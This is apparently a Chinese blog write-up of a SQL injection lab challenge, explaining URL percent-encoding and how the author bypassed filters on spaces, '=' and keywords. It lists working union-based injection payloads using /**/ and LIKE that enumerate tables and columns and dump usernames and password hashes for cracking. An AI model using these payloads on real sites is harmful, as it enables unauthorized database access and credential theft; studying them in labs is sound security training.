一开始使用order by,union select ,and 字段,发现返回并没有变化。
推测这些字段是已经过滤掉了
后来,上网查询后发现 ,不但这些字段过滤,还有空格和‘=’也被过滤掉了
所以‘=’可以用Like 替代,空格用/**/,url 要编码转义
在这里有个坑,花了我不少时间
一般url都是用在线url解码,例如:https://tool.chinaz.com/tools/urlencode.aspx
例如这个,测试字段 /**/order/**/by/**/1
问题来了,我带着编码后的url访问,还是被过滤掉了????
emmmm.......然后我发现与别人发的编码url有点不一样?
(这里参考 多崎巡礼 的 https://blog.csdn.net/qq_42357070/article/details/82885533)
我去百度,很遗憾的发现整个百度全是转载多崎巡礼的博客教程的,我真是佛了.....
后来通过查阅资料,我终于明白了其中的原因,先普及一下url的编码概念吧。
URL 只能使用 ASCII 字符集来通过因特网进行发送。 也就是说URL只能使用英文字母、阿拉伯数字和某些标点符号,不能使用其他文字和符号
Url编码通常也被称为百分号编码(percent-encoding),是因为它的编码方式非常简单,使用%百分号加上两位的
字符——123456789ABCDEF——代表一个字节的十六进制形式对于ASCII字符,字母a 在ASCII码中对应的字节是
0x61,那么Url编码之后得到的就是%61,字母abc, url编码后得到的就是%61%62%63对于非ASCII字符,RFC文
档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。如"中文"使用UTF-8字符集得到的
字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到"%E4%B8%AD%E6%96%87"。
这里参考链接:https://www.cnblogs.com/Wahitler/p/4761373.html
我这个在线转换工具不行,,因为他只是做初步编码,细看发现,他的编码还保留了英文字母......不要看着他编码复杂了就不看了,还是要仔细看,其实挺简单的们就是把所有都转成16进制形式的ASCII就行了
例如好奇的话可以参考ASCII码对照表:https://www.litefeel.com/tools/ascii.php
现在我找到一个完全转16进制形式的ASCII的url编码工具:http://web.chacuo.net/charseturlencode
成功,解释跳转url
url转义问题解决,可以开始走正常的注入思路了,测试字段个数,直到4都没报错,所以字段数有4个。
union 注入
-1/**/union/**/select/**/1,2,3,4 ,测试回显位置
-1/**/union/**/select/**/1,database(),3,4,爆库
-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database() 爆表
在这里说明一下group_concat(col_name)函数,可以把该列的所有数据合并成一行,col_name为列名
所以上面的意思是从information_schema.tables表中,查列名为table_name的所有值合并回显出来。
这样子的好处呢就是方便,也不用用limit(0,1)函数来一个一个测了。
-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member' 爆字段
-1/**/union/**/select/**/1,2,group_concat(name,0x7c,password,0x7e),4/**/from/**/stormgroup_member 爆字段值
MD5在线解密一下,获取结果